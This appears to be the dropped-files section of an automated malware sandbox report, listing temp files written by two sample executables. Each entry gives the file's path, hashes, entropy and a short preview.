SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adcjjee3.3pg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzweimg5.oh3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ei23xkxp.33v.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3n1e3u5.zyf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pp5q1iad.nxt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tft0euiy.3mh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp1651.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1662.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1673.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1683.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1694.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp16B4.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1959.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1979.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp19B9.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp28C2.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp28D3.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp28E3.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp28F4.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp38B3.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmp38B4.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmp38B5.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmp38B6.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
